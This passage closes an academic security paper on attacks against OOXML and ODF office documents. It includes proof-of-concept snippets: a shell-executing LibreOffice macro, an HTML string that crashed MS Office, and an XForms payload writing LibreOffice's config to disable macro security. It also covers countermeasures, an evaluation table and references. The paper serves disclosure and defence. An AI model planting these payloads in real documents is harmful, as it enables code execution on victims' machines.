End Sub
```

Listing 10: Macro to execute shell commands in OOXML documents.

In LibreOffice, arbitrary shell commands can be executed with the BASIC code given in Listing 11. LibreOffice macros additionally support JavaScript and Python code to be executed.

```
sub Main
  shell "[command] [parameters]"
end sub
```

Listing 11: Macro to execute shell commands in ODF documents.

To conclude, macros provide code execution "by design" in both office suites. We do not consider this a vulnerability, as the user has to activate an evidently insecure feature willingly. However, during our research, we discovered further weaknesses, leading to code execution in both tested office suites. When testing for URL invocation in MS Office, we stumbled upon a memory corruption caused by HTML code given below.

```
<acronym><style><body><acronym>
```

To our surprise, Microsoft classified this accidental finding as remote code execution in MS Office, with a CVSS score of 9.3. However, we classify the vulnerability as *limited* because 1. it was found by accident, not by any systematic approach; 2. it is merely an implementation bug, not a standard-conforming document feature; and 3. it is not strictly a bug in OOXML, but in the XHTML parser of Microsoft Office.

Furthermore, we found that the feature to submit XForms to files on disk can be escalated to code execution in LibreOffice. One way to achieve this is by submitting malicious XML data to the configuration file of LibreOffice itself, as given below.

```
file:///~/.config/libreoffice/4/user/registrymodifications.xcu
```

The malicious XML contains new configuration settings (see Listing 12) to allow arbitrary macros, which can then be automatically launched, for example, once the malicious document is closed, in order to execute arbitrary shell commands.

```
<oor:items xmlns:oor="http://openoffice.org/2001/registry">
  <item oor:path="/org.openoffice.Office.Common/Security/Scripting">
    <prop oor:name="MacroSecurityLevel" oor:op="fuse">
      <value>0</value>
    </prop>
  </item>
</oor:items>
```

Listing 12: XForm data to write to the LibreOffice configuration file, thereby allowing arbitrary macros to be executed in any document.

6 Countermeasures

In this section, we discuss mitigations, countermeasures, and common best practices to be applied by security-focused OOXML and ODF implementations, as well as the specification.

6.1 Removing Insecure Features

Aside from short-term mitigations based on implementation fixes for certain attacks (e.g., disallowing XForms to submit data to local files), the standard should remove dangerous functionality that is rarely used, such as the possibility to include external files in a document. Unfortunately, it depends on the use case and is not always clear which features can be classified as "insecure". For example, macros can be used for benign purposes such as inserting a company's letterhead into a document as well as to install malware. This *all-or-nothing* approach regarding macros is debatable. It enables code execution by design, once allowed by the user. In general, the feature richness of OOXML and ODF is problematic from a security point of view. The authors think that office document security and privacy would benefit from reduced complexity. Both major office suites, Microsoft Office and LibreOffice, could gain from modern architectures, which include a granular permission system. For example, an office application should ask the user for a *network* permissions when accessing the corresponding APIs and even if macros are allowed, their capabilities should be restricted (e.g., using sandboxing).

6.2 Privacy by Default

Office suites should not allow documents to silently open network connections. If remote content has to be supported at all, the user should be asked for confirmation before making any network connections to a third party. Furthermore, metadata included in saved or exported documents should be reduced to a minimum in the default settings to prevent unintended exposure of potentially sensitive information such as usernames.

6.3 Limitation of Resources

Data decompression should halt, once the overall size of the decompressed data exceeds an upper limit – a best practice discussed, for example, by Pellegrino [58] in order to protect against compression bombs. This mitigation strategy should be implemented by modern office suites in order to prevent malicious documents from consuming all available resources.

6.4 Elimination of Ambiguities

To counter content masking attacks, specifications need to be precise regarding which parts of the document structure are to be processed and displayed, thereby allowing no room for interpretation by implementations. It must, however, be noted that eliminating ambiguities and edge cases is a challenging task because the OOXML and ODF standards are very complex. Furthermore, unambiguous specifications would only protect the document structure and not prevent high-level conditional statements, for example, embedded within spreadsheet formulas or macros, which may also be abused to display ambiguous content based on certain pre-defined conditions.

7 Conclusion

OOXML and ODF are feature-rich office document formats. While the risks of some delicate features such as macros are well-known to the general public, others are unknown even to security experts. In this work, we performed a systematic analysis of dangerous functionality provided by OOXML and ODF, and evaluated the de facto reference implementations, MS Office and LibreOffice. Besides giving a comprehensive survey of past attacks based on malicious office documents, we propose various novel approaches, for example, leading to arbitrary code execution in LibreOffice, based on pure logic chain exploitation of legitimate features.

We depict the similarities and differences of OOXML and ODF, and show that both file formats suffer from similar weaknesses. This similarity highlights the demand for a secure office document format and leaves open the question, whether a document format needs all these potentially insecure features. Future research should address the vulnerabilities discovered in this work directly during the specification design.

References

[1] 42.zip, March 2000. https://www.unforgettable.dk/.

[2] ECMA-376 – Office Open XML File Formats. Standard, Ecma, 2006.

[3] Open Document Format for Office Applications (OpenDocument) Version 1.2. Standard, Organization for the Advancement of Structured Information Standards (OASIS), 2011.

[4] ISO/IEC 26300 Open Document Format for Office Applications (OpenDocument). Standard, International Organization for Standardization (ISO), Geneva, CH, 2015.

[5] ISO/IEC 29500-1:2016 – Office Open XML File Formats. Standard, International Organization for Standardization (ISO), Geneva, CH, 2016.

[6] E. Aboud and D. O'Brien. Detection of Malicious VBA Macros Using Machine Learning Methods. 2018.

[7] A. Albertini. This PDF is a JPEG; or, This Proof of Concept is a Picture of Cats. *PoC 11 GTFO 0x03*, 2014. https://www.alchemistowl.org/pocorgtfo/pocorgtfo03.pdf.

[8] C. Alonso, E. Rando, F. Oca, and A. Guzmán. Disclosing Private Information from Metadata, Hidden Info and Lost Data, Aug 2008.

[9] M. Backes, M. Dürmuth, and D. Unruh. Information Flow in the Peer-Reviewing Process. In *IEEE Symposium on Security and Privacy (S&P)*, pages 187–191, 2007.

[10] A. Baharav, Y. Fruchtmann, and I. Solomon. NTLM Credentials Theft via PDF Files, April 2018. https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/.

[11] R. Bearden and D. Lo. Automated Microsoft Office Macro Malware Detection Using Machine Learning. In *2017 IEEE International Conference on Big Data (Big Data)*, pages 4448–4452, 2017.

[12] P. Bieringer. Decompression Bomb Vulnerabilities, 2001. http://aerasec.de/security/advisories/decompression-bomb-vulnerability.html.

[13] J. Boyer, D. Landwehr, R. Merrick, and T. Raman. XForms 1.1. *W3C Recommendation*, 2009.

[14] J. Burns. Cross Site Request Forgery. *An Introduction to a Common Web Application Weakness, Information Security Partners*, 2005.

[15] M. Caloyannides, N. Memon, and W. Venema. Digital Forensics. *IEEE Security & Privacy Magazine*, 7(2):16–17, 2009.

[16] M. Centner. XML Advanced Electronic Signatures (XAdES), 2003.

[17] Y. Chen, L. Xing, Y. Qin, X. Liao, X. Wang, K. Chen, and W. Zou. Devils in the Guidance: Predicting Logic Vulnerabilities in Payment Syndication Services through Automated Documentation Analysis. In *28th USENIX Security Symposium*, pages 747–764, 2019.

[18] C. Cimpanu for ZDNet. Frankfurt Shuts Down IT Network Following Emotet Infection, December 2019. https://www.zdnet.com/article/frankfurt-shuts-down-it-network-following-emotet-infection/.

[19] T. Claburn. Use an 8-char Windows NTLM password?, February 2019. https://www.theregister.co.uk/2019/02/14/password_length/.

[20] Aviad Cohen, Nir Nissim, Lior Rokach, and Yuval Elovici. SFEM: Structural Feature Extraction Methodology for the Detection of Malicious Office Documents Using Machine Learning Methods. *Expert Systems with Applications*, 63:324–343, 2016.

[21] A. Costin. Postscript: Danger ahead?! Hack in Paris, 2012.

[22] R. Cox. Zip files all the way down, March 2010. https://research.swtch.com/zip.

[23] J. Dechaux, E. Filiol, and J. Fizaine. Office Documents: New Weapons of Cyberwarfare. Hack.Lu, 2010.

[24] P. Deutsch. DEFLATE Compressed Data Format Specification, 1996.

[25] E. Didriksen. Forensic Analysis of OOXML Documents, 2014.

[26] W. Dormann. Who Needs to Exploit Vulnerabilities When You Have Macros? DerbyCon, 2016. https://insights.sei.cmu.edu/cert/2016/06/who-needs-to-exploit-vulnerabilities-when-you-have-macros.html.

[27] E. Ellingsen. ZIP File Quine, 2005. http://www.steike.com/code/useless/zip-file-quine/.

[28] D. Fifield. A better zip bomb. In *13th USENIX Workshop on Offensive Technologies (WOOT 19)*, 2019.

[29] J. Franks, P. Hallam-Baker, J. Hostetler, S. Lawrence, P. Leach, A. Luotonen, and L. Stewart. HTTP Authentication: Basic and Digest Access Authentication, June 1999. RFC2617.

[30] Z. Fu, X. Sun, Y. Liu, and B. Li. Forensic Investigation of OOXML Format Documents. *Digital Investigation*, 8(1):48–55, 2011.

[31] J. Gajek. Macro Malware: Dissecting a Malicious Word Document. *Network Security*, 2017(5):8–13, 2017.

[32] L. Garber. Melissa Virus Creates a New Type of Threat. *Computer*, 32(6):16–19, 1999.

[33] S. Garfinkel. Leaking Sensitive Information in Complex Document Files–and How to Prevent It. *IEEE Security & Privacy Magazine*, 12(1):20–27, 2013.

[34] S. Garfinkel and J. Migletz. New XML-based Files Implications for Forensics. In *IEEE Symposium on Security and Privacy (S&P)*, volume 7, pages 38–44, 2009.

[35] M. Grothe, C. Mainka, P. Rösler, and J. Schwenk. How to Break Microsoft Rights Management Services. In *10th USENIX Workshop on Offensive Technologies (WOOT 16)*, 2016.

[36] S. Hegt and P. Ceelen. The MS Office Magic Show. DerbyCon, 2018.

[37] S. Hegt and P. Ceelen. MS Office in Wonderland. BlackHat Asia, 2019.

[38] X. Hou, N. Li, H. Yang, and Q. Liang. Comparison of wordprocessing document format in OOXML and ODF. In *Sixth International Conference on Semantics, Knowledge and Grids*, pages 297–300, 2010.

[39] C. Hummel. Why Crack When You Can Pass The Hash. *SANS Institute InfoSec Reading Room*, 21, 2009.

[40] J. Kettle. Comma Separated Vulnerabilities, August 2014. https://www.contextis.com/de/blog/comma-separated-vulnerabilities.

[41] S. Kim, S. Hong, J. Oh, and H. Lee. Obfuscated VBA Macro Detection Using Machine Learning. In *48th Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN)*, pages 490–501, 2018.

[42] M. Klementev, R. Goodrich, and A. Krasichkov. CVE-2018-6871: LibreOffice Remote Arbitrary File Disclosure, February 2018.

[43] P. Lagadec. OpenDocument and Open XML Security (OpenOffice.org and MS Office 2007). *Journal in Computer Virology*, 4(2):115–125, 2008.

[44] P. Lagadec. Advanced VBA Macros Attack & Defence. BlackHat EU, 2019.

[45] Edward Macnaghten. ODF/OOXML Technical White Paper. *Free Software Magazine*, 30, 2007.

[46] J. Magazinius, B. Rios, and A. Sabelfeld. Polyglots: Crossing Origins by Crossing Formats. In *Proceedings of the 20th ACM Conference on Computer & Communications Security (CCS)*, pages 753–764, 2013.

[47] I. Markwood, D. Shen, Y. Liu, and Z. Lu. PDF Mirage: Content Masking Attack Against Information-Based Online Services. In *26th USENIX Security Symposium*, pages 833–847, 2017.

[48] M. Marlinspike. Divide and Conquer: Cracking MS-CHAPv2 with a 100% Success Rate, 2012. https://web.archive.org/web/20130328084206/https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/.

[49] J. Marsh, D Orchard, and D. Veillard. XML Inclusions (XInclude) 1.0. *W3C Recommendation*, 2006.

[50] Microsoft Corporation. Annual Report – Shareholder Letter, 2016. https://www.microsoft.com/investor/reports/ar16/index.html.

[51] M. Mimura and H. Miura. Detecting Unseen Malicious VBA Macros with NLP Techniques. *Journal of Information Processing*, 27:555–563, 2019.

[52] M. Mimura and T. Ohminami. Towards Efficient Detection of Malicious VBA Macros with LSI. In *International Workshop on Security*, pages 168–185, 2019.

[53] J. Müller, M. Brinkmann, D. Poddebniak, S. Schinzel, and J. Schwenk. Re: What's Up Johnny? In *International Conference on Applied Cryptography and Network Security*, pages 24–42, 2019.

[54] J. Müller, V. Mladenov, D. Felsch, and J. Schwenk. PostScript Undead: Pwning the Web with a 35 Years Old Language. In *International Symposium on Research in Attacks, Intrusions, and Defenses*, pages 603–622, 2018.

[55] J. Müller, V. Mladenov, J. Somorovsky, and J. Schwenk. SoK: Exploiting Network Printers. In *IEEE Symposium on Security and Privacy (S&P)*, pages 213–230, 2017.

[56] G Nagarjuna. Why Ecma OOXML Cannot be Regarded as a Free/Open Document Standard. *Note submitted to the Working Committee, Board of Indian Standards on WordprocessingXML, a component of OOXML*, 16, 2007.

[57] N. Ochoa. Pass-The-Hash Toolkit-Docs & Info, 2008.

[58] G. Pellegrino, D. Balzarotti, S. Winter, and N. Suri. In the Compression Hornet's Nest: A Security Study of Data Compression in Network Services. In *24th USENIX Security Symposium*, pages 801–816, 2015.

[59] G. Pellegrino, O. Catakoglu, D. Balzarotti, and C. Rossow. Uses and Abuses of Server-Side Requests. In *Int. Symposium on Research in Attacks, Intrusions, and Defenses*, pages 393–414, 2016.

[60] A. Prashar and B. Gopal. Data Exfiltration via Formula Injection #Part1, May 2018. http://notsosecure.com/data-exfiltration-formula-injection/.

[61] H. Pöhls and L. Westphal. Die Untiefen der neuen XML-basierten Dokumentenformate. In *Proc. of DFN CERT Workshop Sicherheit in vernetzten Systemen*, 2008. In German.

[62] M. Raffay. *Data Hiding and Detection in Office Open XML (OOXML) Documents*. PhD thesis, UOIT, 2011.

[63] Aaron S. WinNT/Win95 Automatic Authentication Vulnerability (Internet Explorer Bug #4), March 1997. https://insecure.org/sploits/winnt.automatic.authentication.html.

[64] R. Shah and J. Kesan. Lost in Translation: Interoperability Issues for Open Standards–ODF and OOXML as Examples. 2008.

[65] C. Späth, C. Mainka, V. Mladenov, and J. Schwenk. SoK: XML Parser Vulnerabilities. In *10th USENIX Workshop on Offensive Technologies (WOOT 16)*, 2016.

[66] Gregory Steuck. XXE (Xml eXternal Entity) Attack, October 2002. https://www.securiteam.com/securitynews/6d0100a5pu/.

[67] A. Updegrove. ODF vs. OOXML: War of the Words. 2008.

[68] W. Vandevanter. Exploiting XXE in File Upload Functionality. Black Hat USA, 2015.

[69] R. Villarreal. Tracking Pixel in Microsoft Office Document, October 2018. https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/.

[70] D. Watkins. LibreOffice: A History of Document Freedom, 2018. https://opensource.com/article/18/9/libreoffice-history.

[71] E. Wilding. *Information Risk and Security: Preventing and Investigating Workplace Computer Crime*. 2017.

[72] S. Yami, H. Chappert, and A. Mione. Strategic Relational Sequences: Microsoft's Coopetitive Game in the OOXML Standardization Process. *M@n@gement*, 18(5), 2015.

A Appendix

A.1 Availability of Artifacts

We released a comprehensive test suite of malicious OOXML and ODF files which can be used by developers to test their software. All proof of concept files are available for download from https://github.com/RUB-NDS/Office-Security.

A.2 Full Evaluation Details

In Table 7, we provide full evaluation details for both office suites, Microsoft Office and LibreOffice, on each tested platform. To perform tests for the Web platform, we used Office 365 Cloud (office.com) and LibreOffice Online (self-hosted).

A.3 Future Research Directions

In this section, we discuss attack targets beyond office suites and propose future research directions and challenges.

Attacks on Printers Attacks against network printers are traditionally bound to printer-specific protocols and data formats such as PostScript, PJL, or PCL [55]. However, many modern printers and MFPs have native support for directly processing OOXML documents and putting them onto paper – without the need for additional printer drivers to convert between data formats. Our attacks may be applicable to such embedded OOXML interpreters running on printing devices, for example, in order to cause DoS on a printer or to include sensitive files from its hard disk. Furthermore, OOXML has a feature to embed PostScript within a document (`<w:printPostScriptOverText>`). This feature may be used to hide malicious PostScript code, for example, in Word documents, to be executed on the printer.

Attacks on Web Applications In this work, we only tested Office 365 Cloud and LibreOffice Online. However, there are a lot more web applications capable of processing OOXML and ODF files. Besides importing malicious documents into further online word processors such as Google Docs, office documents are processed on cloud storage services such as Dropbox, which generate preview images for uploaded files. One attack class of particular interest is reading local files, because the impact can be considered more severe on a server than on a client. For LFI (local file inclusion) attacks based on malicious OOXML/ODF documents, the backchannel to exfiltrate files can be the rendered document itself. However, other web attacks such as *SSRF* or *CSRF* (cf. [14, 59]) could also potentially be performed based on URL invocation features, depending on whether the document is processed on the server-side or on the client-side (i.e. by the web browser).

	Microsoft Office (365 ProPlus)						LibreOffice (6.4.0.3)							
	OOXML			ODF			ODF				OOXML			
	Windows	macOS	Web	Windows	macOS	Web	Windows	macOS	Linux	Web	Windows	macOS	Linux	Web
Denial of Service	◐	●	–	◐	●	–	◐	◐	◐	◐	◐	◐	◐	◐
URL Invocation	●	●	○	●	●	○	●	●	●	○	●	●	●	○
Evitable Metadata	●	●	●	●	●	●	○	○	○	○	○	○	○	○
Data Exfiltration	◐	○	○	◐	○	○	◐	◐	◐	◐	◐	◐	◐	◐
File Disclosure	○	○	○	○	○	○	◐	◐	◐	○	○	○	○	○
Credential Theft	●	○	○	●	○	○	●	○	○	○	●	○	○	○
File Write Access	○	○	○	○	○	○	○	●	●	○	○	○	○	○
Content Masking	◐	◐	○	◐	◐	○	●	●	●	●	●	●	●	●
Code Execution	◐	○	○	○	○	○	○	●	●	○	○	○	○	○

● vulnerable ◐ vulnerability limited ○ not vulnerable – not tested due to ethical concerns

Table 7: Full evaluation of the proposed attacks on all available platforms.

Adapting Content Masking Attacks It would be interesting to broaden the scope of our attacks based on ambiguities when parsing OOXML/ODF documents. Content masking attacks could be extended to other domains:

1. Anti-virus and malware detection tools may be tricked to scan only benign parts of a malicious office document.
2. Plagiarisms detection software may be deceived into checking another text than the one shown in office suites.
3. Search engines indexing text found in office documents could be mislead to rank up documents containing spam.

Similar attacks have been shown by Markwood et al. [47] in the context of ambiguous PDF files and could be adapted to OOXML/ODF, which is to be considered as future research.

Fuzzing OOXML an ODF As described in subsection 5.5, we accidentally, without performing any targeted file format fuzzing, found a memory corruption in the XHTML parser of MS Office, which was classified by Microsoft as remote code execution with a CVSS score of 9.3.

Considering this coincidental issue, future research should concentrate on fuzzing of OOXML and ODF. Given the complexity of both data formats, this may reveal further vulnerabilities in office suites as well as other OOXML and ODF processing applications. Office file format fuzzing can occur on multiple layers such as the physical structure (zip archive), the logical structure (i.e., file and directory names), as well as on the XML syntax level providing countless methods for malicious user input, which could be modeled.

Automated Specification Analysis During our study, we struggled with the manual analysis of the extensive specifications of OOXML and ODF. We searched for existing approaches to automate the manual processing. We found only one tool called *Delution* for automated documentation analysis and capable of discovering potential gaps [17]. Unfortunately, we were not able to adapt *Delution* to analyze the specifications due to execution exceptions and missing support to analyze the documentation files. Although further improvements are needed, such approaches look promising.

A.4 Acknowledgements

Jens Müller was supported by the research training group "Human Centered System Security", sponsored by the state of North Rhine-Westfalia. Fabian Ising was supported by the research project "MITSicherheit.NRW" funded by the European Regional Development Fund North Rhine-Westphalia (EFRE.NRW) and by a graduate scholarship of Münster University of Applied Sciences. In addition, this work was supported by the German Research Foundation (DFG) within the framework of the Excellence Strategy of the Federal Government and the States – EXC 2092 CaSa.